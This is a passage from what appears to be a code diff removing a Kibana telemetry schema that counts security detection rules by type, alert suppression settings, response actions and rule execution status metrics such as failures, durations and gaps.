enabled: { - type: 'long', - _meta: { - description: - 'Number of enabled machine_learning rules configured with suppression', - }, - }, - disabled: { - type: 'long', - _meta: { - description: - 'Number of disabled machine_learning rules configured with suppression', - }, - }, - suppressed_fields_count: { - one: { - type: 'long', - _meta: { - description: - 'Number of machine_learning rules configured with one suppression field', - }, - }, - two: { - type: 'long', - _meta: { - description: - 'Number of machine_learning rules configured with two suppression field', - }, - }, - three: { - type: 'long', - _meta: { - description: - 'Number of machine_learning rules configured with three suppression field', - }, - }, - }, - suppressed_per_time_period: { - type: 'long', - _meta: { - description: - 'Number of machine_learning rules configured with suppression per time period', - }, - }, - suppressed_per_rule_execution: { - type: 'long', - _meta: { - description: - 'Number of machine_learning rules configured with suppression per rule execution', - }, - }, - suppresses_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of machine_learning rules configured to suppress alerts with missing fields', - }, - }, - does_not_suppress_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of machine_learning rules configured do not suppress alerts with missing fields', - }, - }, - }, - response_actions: { - enabled: { - type: 'long', - _meta: { - description: - 'Number of enabled machine_learning rules configured with response actions', - }, - }, - disabled: { - type: 'long', - _meta: { - description: - 'Number of disabled machine_learning rules configured with response actions', - }, - }, - response_actions: { - endpoint: { - type: 'long', - _meta: { - description: - 'Number of endpoint response actions within machine_learning rules', - }, - }, - osquery: { - type: 'long', - _meta: { - description: - 'Number of osquery response actions within machine_learning rules', - }, - }, - }, - }, - }, - threat_match: { - enabled: { - type: 'long', - _meta: { description: 'Number of threat_match rules enabled' }, - }, - disabled: { - type: 'long', - _meta: { description: 'Number of threat_match rules disabled' }, - }, - alerts: { - type: 'long', - _meta: { description: 'Number of alerts generated by threat_match rules' }, - }, - cases: { - type: 'long', - _meta: { - description: 'Number of cases attached to threat_match detection rule alerts', - }, - }, - legacy_notifications_enabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications enabled' }, - }, - legacy_notifications_disabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications disabled' }, - }, - notifications_enabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - notifications_disabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - legacy_investigation_fields: { - type: 'long', - _meta: { - description: - 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', - }, - }, - alert_suppression: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled threat_match rules configured with suppression', - }, - }, - disabled: { - type: 'long', - _meta: { - description: - 'Number of disabled threat_match rules configured with suppression', - }, - }, - suppressed_fields_count: { - one: { - type: 'long', - _meta: { - description: - 'Number of threat_match rules configured with one suppression field', - }, - }, - two: { - type: 'long', - _meta: { - description: - 'Number of threat_match rules configured with two suppression field', - }, - }, - three: { - type: 'long', - _meta: { - description: - 'Number of threat_match rules configured with three suppression field', - }, - }, - }, - suppressed_per_time_period: { - type: 'long', - _meta: { - description: - 'Number of threat_match rules configured with suppression per time period', - }, - }, - suppressed_per_rule_execution: { - type: 'long', - _meta: { - description: - 'Number of threat_match rules configured with suppression per rule execution', - }, - }, - suppresses_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of threat_match rules configured to suppress alerts with missing fields', - }, - }, - does_not_suppress_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of threat_match rules configured do not suppress alerts with missing fields', - }, - }, - }, - response_actions: { - enabled: { - type: 'long', - _meta: { - description: - 'Number of enabled threat_match rules configured with response actions', - }, - }, - disabled: { - type: 'long', - _meta: { - description: - 'Number of disabled threat_match rules configured with response actions', - }, - }, - response_actions: { - endpoint: { - type: 'long', - _meta: { - description: 'Number of endpoint response actions within threat_match rules', - }, - }, - osquery: { - type: 'long', - _meta: { - description: 'Number of osquery response actions within threat_match rules', - }, - }, - }, - }, - }, - new_terms: { - enabled: { - type: 'long', - _meta: { description: 'Number of new_terms rules enabled' }, - }, - disabled: { - type: 'long', - _meta: { description: 'Number of new_terms rules disabled' }, - }, - alerts: { - type: 'long', - _meta: { description: 'Number of alerts generated by new_terms rules' }, - }, - cases: { - type: 'long', - _meta: { - description: 'Number of cases attached to new_terms detection rule alerts', - }, - }, - legacy_notifications_enabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications enabled' }, - }, - legacy_notifications_disabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications disabled' }, - }, - notifications_enabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - notifications_disabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - legacy_investigation_fields: { - type: 'long', - _meta: { - description: - 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', - }, - }, - alert_suppression: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled new_terms rules configured with suppression', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled new_terms rules configured with suppression', - }, - }, - suppressed_fields_count: { - one: { - type: 'long', - _meta: { - description: - 'Number of new_terms rules configured with one suppression field', - }, - }, - two: { - type: 'long', - _meta: { - description: - 'Number of new_terms rules configured with two suppression field', - }, - }, - three: { - type: 'long', - _meta: { - description: - 'Number of new_terms rules configured with three suppression field', - }, - }, - }, - suppressed_per_time_period: { - type: 'long', - _meta: { - description: - 'Number of new_terms rules configured with suppression per time period', - }, - }, - suppressed_per_rule_execution: { - type: 'long', - _meta: { - description: - 'Number of new_terms rules configured with suppression per rule execution', - }, - }, - suppresses_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of new_terms rules configured to suppress alerts with missing fields', - }, - }, - does_not_suppress_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of new_terms rules configured do not suppress alerts with missing fields', - }, - }, - }, - response_actions: { - enabled: { - type: 'long', - _meta: { - description: - 'Number of enabled new_term rules configured with response actions', - }, - }, - disabled: { - type: 'long', - _meta: { - description: - 'Number of disabled new_term rules configured with response actions', - }, - }, - response_actions: { - endpoint: { - type: 'long', - _meta: { - description: 'Number of endpoint response actions within new_term rules', - }, - }, - osquery: { - type: 'long', - _meta: { - description: 'Number of osquery response actions within new_term rules', - }, - }, - }, - }, - }, - esql: { - enabled: { - type: 'long', - _meta: { description: 'Number of esql rules enabled' }, - }, - disabled: { - type: 'long', - _meta: { description: 'Number of esql rules disabled' }, - }, - alerts: { - type: 'long', - _meta: { description: 'Number of alerts generated by esql rules' }, - }, - cases: { - type: 'long', - _meta: { - description: 'Number of cases attached to esql detection rule alerts', - }, - }, - legacy_notifications_enabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications enabled' }, - }, - legacy_notifications_disabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications disabled' }, - }, - notifications_enabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - notifications_disabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - legacy_investigation_fields: { - type: 'long', - _meta: { - description: - 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', - }, - }, - alert_suppression: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled esql rules configured with suppression', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled esql rules configured with suppression', - }, - }, - suppressed_fields_count: { - one: { - type: 'long', - _meta: { - description: 'Number of esql rules configured with one suppression field', - }, - }, - two: { - type: 'long', - _meta: { - description: 'Number of esql rules configured with two suppression field', - }, - }, - three: { - type: 'long', - _meta: { - description: 'Number of esql rules configured with three suppression field', - }, - }, - }, - suppressed_per_time_period: { - type: 'long', - _meta: { - description: 'Number of esql rules configured with suppression per time period', - }, - }, - suppressed_per_rule_execution: { - type: 'long', - _meta: { - description: - 'Number of esql rules configured with suppression per rule execution', - }, - }, - suppresses_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of esql rules configured to suppress alerts with missing fields', - }, - }, - does_not_suppress_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of esql rules configured do not suppress alerts with missing fields', - }, - }, - }, - response_actions: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled esql rules configured with response actions', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled esql rules configured with response actions', - }, - }, - response_actions: { - endpoint: { - type: 'long', - _meta: { - description: 'Number of endpoint response actions within esql rules', - }, - }, - osquery: { - type: 'long', - _meta: { description: 'Number of osquery response actions within esql rules' }, - }, - }, - }, - }, - elastic_total: { - enabled: { type: 'long', _meta: { description: 'Number of elastic rules enabled' } }, - disabled: { - type: 'long', - _meta: { description: 'Number of elastic rules disabled' }, - }, - alerts: { - type: 'long', - _meta: { description: 'Number of alerts generated by elastic rules' }, - }, - cases: { - type: 'long', - _meta: { description: 'Number of cases attached to elastic detection rule alerts' }, - }, - legacy_notifications_enabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications enabled' }, - }, - legacy_notifications_disabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications disabled' }, - }, - notifications_enabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - notifications_disabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - legacy_investigation_fields: { - type: 'long', - _meta: { - description: - 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', - }, - }, - alert_suppression: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled elastic rules configured with suppression', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled elastic rules configured with suppression', - }, - }, - suppressed_fields_count: { - one: { - type: 'long', - _meta: { - description: 'Number of elastic rules configured with one suppression field', - }, - }, - two: { - type: 'long', - _meta: { - description: 'Number of elastic rules configured with two suppression field', - }, - }, - three: { - type: 'long', - _meta: { - description: - 'Number of elastic rules configured with three suppression field', - }, - }, - }, - suppressed_per_time_period: { - type: 'long', - _meta: { - description: - 'Number of elastic rules configured with suppression per time period', - }, - }, - suppressed_per_rule_execution: { - type: 'long', - _meta: { - description: - 'Number of elastic rules configured with suppression per rule execution', - }, - }, - suppresses_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of elastic rules configured to suppress alerts with missing fields', - }, - }, - does_not_suppress_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of elastic rules configured do not suppress alerts with missing fields', - }, - }, - }, - response_actions: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled elastic rules configured with response actions', - }, - }, - disabled: { - type: 'long', - _meta: { - description: - 'Number of disabled elastic rules configured with response actions', - }, - }, - response_actions: { - endpoint: { - type: 'long', - _meta: { - description: 'Number of endpoint response actions within elastic rules', - }, - }, - osquery: { - type: 'long', - _meta: { - description: 'Number of osquery response actions within elastic rules', - }, - }, - }, - }, - }, - custom_total: { - enabled: { type: 'long', _meta: { description: 'Number of custom rules enabled' } }, - disabled: { type: 'long', _meta: { description: 'Number of custom rules disabled' } }, - alerts: { - type: 'long', - _meta: { description: 'Number of alerts generated by custom rules' }, - }, - cases: { - type: 'long', - _meta: { description: 'Number of cases attached to custom detection rule alerts' }, - }, - legacy_notifications_enabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications enabled' }, - }, - legacy_notifications_disabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications disabled' }, - }, - notifications_enabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - notifications_disabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - legacy_investigation_fields: { - type: 'long', - _meta: { - description: - 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', - }, - }, - alert_suppression: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled custom rules configured with suppression', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled custom rules configured with suppression', - }, - }, - suppressed_fields_count: { - one: { - type: 'long', - _meta: { - description: 'Number of custom rules configured with one suppression field', - }, - }, - two: { - type: 'long', - _meta: { - description: 'Number of custom rules configured with two suppression field', - }, - }, - three: { - type: 'long', - _meta: { - description: 'Number of custom rules configured with three suppression field', - }, - }, - }, - suppressed_per_time_period: { - type: 'long', - _meta: { - description: - 'Number of custom rules configured with suppression per time period', - }, - }, - suppressed_per_rule_execution: { - type: 'long', - _meta: { - description: - 'Number of custom rules configured with suppression per rule execution', - }, - }, - suppresses_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of custom rules configured to suppress alerts with missing fields', - }, - }, - does_not_suppress_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of custom rules configured do not suppress alerts with missing fields', - }, - }, - }, - response_actions: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled custom rules configured with response actions', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled custom rules configured with response actions', - }, - }, - response_actions: { - endpoint: { - type: 'long', - _meta: { - description: 'Number of endpoint response actions within custom rules', - }, - }, - osquery: { - type: 'long', - _meta: { - description: 'Number of osquery response actions within custom rules', - }, - }, - }, - }, - }, - }, - detection_rule_detail: { - type: 'array', - items: { - rule_name: { - type: 'keyword', - _meta: { description: 'The name of the detection rule' }, - }, - rule_id: { - type: 'keyword', - _meta: { description: 'The UUID id of the detection rule' }, - }, - rule_type: { - type: 'keyword', - _meta: { description: 'The type of detection rule. ie eql, query...' }, - }, - rule_version: { type: 'long', _meta: { description: 'The version of the rule' } }, - enabled: { - type: 'boolean', - _meta: { description: 'If the detection rule has been enabled by the user' }, - }, - elastic_rule: { - type: 'boolean', - _meta: { description: 'If the detection rule has been authored by Elastic' }, - }, - created_on: { - type: 'keyword', - _meta: { description: 'When the detection rule was created on the cluster' }, - }, - updated_on: { - type: 'keyword', - _meta: { description: 'When the detection rule was updated on the cluster' }, - }, - alert_count_daily: { - type: 'long', - _meta: { description: 'The number of daily alerts generated by a rule' }, - }, - cases_count_total: { - type: 'long', - _meta: { description: 'The number of total cases generated by a rule' }, - }, - has_legacy_notification: { - type: 'boolean', - _meta: { description: 'True if this rule has a legacy notification' }, - }, - has_notification: { - type: 'boolean', - _meta: { description: 'True if this rule has a notification' }, - }, - }, - }, - detection_rule_status: { - all_rules: { - eql: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - new_terms: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - esql: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - threat_match: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - machine_learning: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - query: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - saved_query: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - threshold: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - total: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of succeeded rules' }, - }, - }, - }, - elastic_rules: { - eql: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - new_terms: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - partial_failures: { - type: 'long', - _meta: { description: 'The number of partial failure rules' }, - }, - top_partial_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the message occurred' }, - }, - }, - }, - succeeded: { - type: 'long', - _meta: { description: 'The number of successful rules' }, - }, - index_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - search_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - enrichment_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_duration: { - max: { - type: 'float', - _meta: { description: 'The max duration' }, - }, - avg: { - type: 'float', - _meta: { description: 'The avg duration' }, - }, - min: { - type: 'float', - _meta: { description: 'The min duration' }, - }, - }, - gap_count: { - type: 'long', - _meta: { description: 'The count of gaps' }, - }, - }, - esql: { - failures: { - type: 'long', - _meta: { description: 'The number of failed rules' }, - }, - top_failures: { - type: 'array', - items: { - message: { - type: 'keyword', - _meta: { description: 'Failed rule message' }, - }, - count: { - type: 'long', - _meta: { description: 'Number of times the 